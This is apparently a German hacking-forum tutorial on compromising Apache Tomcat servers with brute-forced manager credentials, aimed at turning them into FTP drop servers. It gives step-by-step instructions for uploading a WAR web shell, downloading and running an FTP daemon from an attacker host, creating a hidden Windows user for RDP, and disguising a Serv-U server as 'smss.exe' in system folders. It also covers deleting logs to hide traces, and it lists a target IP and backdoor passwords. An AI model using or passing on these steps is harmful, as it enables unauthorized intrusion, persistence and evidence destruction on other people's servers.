[TUT] Tomcat haxx0rn ! (1 Viewer)

Joined
Jan 10, 2019
Credits
0
Rating - 0%
Tomcat hacken

Zuerst brauchen wir einen Scan im folgenden Format


Manager bruted tomcat:tomcat at http://XXX:8080/manager/html Apache Tomcat/7.0.29 java 1.6.0_29-b11 Linux 2.6.18-400.1.1.el5
^ ^ ^
| | |
user passwort OS

Nun rufen wir den Link auf

Dort scrollen wir zum Bereich WAR file to deploy

jMRnXkO.jpg


auf Durchsuchen klicken
die dfn.war auswählen und auf Upload klicken

Wenn nun oben folgende Meldung erscheint hat der Upload geklappt

neLDPmS.jpg


Wenn eine Error Meldung erscheint ist der Server bereits secured

Nun könnt ihr die Shell unter

http://XXX:8080/dfn/df.jsp



Linux Konsolen Befehle


df -h

Zeigt euch die Festplatten an

Filesystem Size Used Avail Use% Mounted on
/dev/ploop17109p1 500G 231G 249G 49% /
none 16G 4.0K 16G 1% /dev
none 3.3G 628K 3.2G 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 16G 12K 16G 1% /run/shm


Code:
wget -O /dev/null http://speedtest.dal01.softlayer.com/downloads/test100.zip

Zeigt einen Speedtest an

--2015-02-25 19:44:41-- http://speedtest.dal01.softlayer.com/downloads/test100.zip
Resolving speedtest.dal01.softlayer.com (speedtest.dal01.softlayer.com)... 74.86.116.210
Connecting to speedtest.dal01.softlayer.com (speedtest.dal01.softlayer.com)|74.86.116.210|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104874307 (100M) [application/zip]
Saving to: `/dev/null'


2015-02-25 19:44:47 (16.5 MB/s) - `/dev/null' saved [104874307/104874307]

whoami


Zeigt den Benutzer an unter dem ihr in der Konsole angemeldet seit

tomcat6


FTPD einrichten

die ftpd.tar.gz mit Winrar öffnen und folgende Datei bearbeiten

\ftpd\conf\users.conf

#username;password;homedir;writeperm;totallogins;loginsperip;uploadrate;downloadrate;enabled
leech;password;%home%/home;false;10;10;0;0;true
fill;password;%home%/home;true;10;10;0;0;true

hier die user und passwörter eintragen


Am besten die ftpd auf nen anderen Server lagern dann kann man sie bequem von da runterladen,
ansonsten die tar.gz von lokal uploaden

wget http://IP_o._Domain/ftpd.tar.gz

tar -xvzf ftpd.tar.gz
chmod +x start_package.sh
./start_package.sh

Nun läuft der FTPd auf port 2221



Securen



Wenn man Root sein solltet
Die Datei tomcat-users.xml beartbeiten und ein neues Passwort wählen

Wenn man was ehr wahrscheinlich ist keine Root Rechte hat bleibt einem nur dem Ordner wo sich die Shells befinden zu schützen,
sprch die Schreibrechte zu entziehen.

dazu in den Hauptordner mit dem nahmen Tomcat, dort solltet ihr dann auch den Ordner webapps sehen
und in der Shell folgenden Befehl ausführen
chmod -R 555 webapps/*

Logs löschen

einfach alle Dateien in /tomcat/logs/ löschen, danach nicht mehr die Shell aufrufen !



Windows

Manager bruted admin: at http://62.193.61.44:8081/manager/html Apache Tomcat/5.5.20 java 1.5.0_08-b03 Windows NT (unknown) 6.1
^ ^ ^
| | |
user passwort OS


Nun rufen wir den Link auf

Dort scrollen wir zum Bereich WAR file to deploy

jMRnXkO.jpg


auf Durchsuchen klicken
die java.war auswählen und auf Upload klicken

Wenn nun oben folgende Meldung erscheint hat der Upload geklappt

neLDPmS.jpg


Wenn eine Error Meldung erscheint ist der Server bereits secured

Nun könnt ihr die Shell aufrufen unter

http://XXX:8080/java/a.jsp

RDP.bat bearbeiten und PASSWORT durch euer Passwort ersetzen

net user ASP.NET PASSWORT /ad

Nun die fxp.exe & fxp.bat & die RDP.bat hochladen

In der Konsole die fxp.bat und die RDP.bat ausführen

Nun soltet ihr den Server auch per RDP erreichen können

und in der fxp.txt findet ihr dann die Server Informationen



ServU Einrichten



Standart Daten

Port: 2221


ServU Admin user

user: admin
pw: 4dm1n

leech Account

user: leech
pw: leech

Scaner Account

user: scan
pw: $c4n


Fill Account / GruppenAdministrator (Kann rausgegeben werden damit die Filler selber leech Accounts erstelen können)

View hidden content is available for registered users!
user: GroupAdmin
pw: Gr0Up4dmIn


Diese am besten per ServUAdmin einmal ändern und euch dann die smss.ini runterladen und dann diese immer benutzen.

Nun laden wir unsere ServU hoch

smss.exe smss.ini syswow64.bat system32.bat hochladen

Ja nachdem ob wir nen x86 /system32.bat) oder x64 (syswow64.bat) haben führen wir die entsprechende Datei aus.

Nun sollte euer FTP Server laufen

ftp://admin:Adm1n@IP:2221

nun löschen im Ordner C:\ wir noch die fxp.exe fxp.bat RDP.bat & die fxp.txt

wechseln in den Ordner

/Windows/SysWOW64/sysprep/

und laden die restlichen Files aus dem servu Ordner hoch damit AuthTLLS und die Login Meldungen funktionieren

Zurück in die shell und folgende Befehle ausführen um ServU neu zu starten

sc stop smss
sc start smss



Securen

Logs löschen

einfach alle Dateien in /tomcat/logs/ löschen, danach nicht mehr die Shell aufrufen !

Die Datei tomcat-users.xml beartbeiten und ein neues Passwort wählen
oder
Den Tomcat Manger deaktivieren, dann aber sicherstellen das ihr andersweitig auf den Server zugraifen könnt.
 

Users who are viewing this thread

Top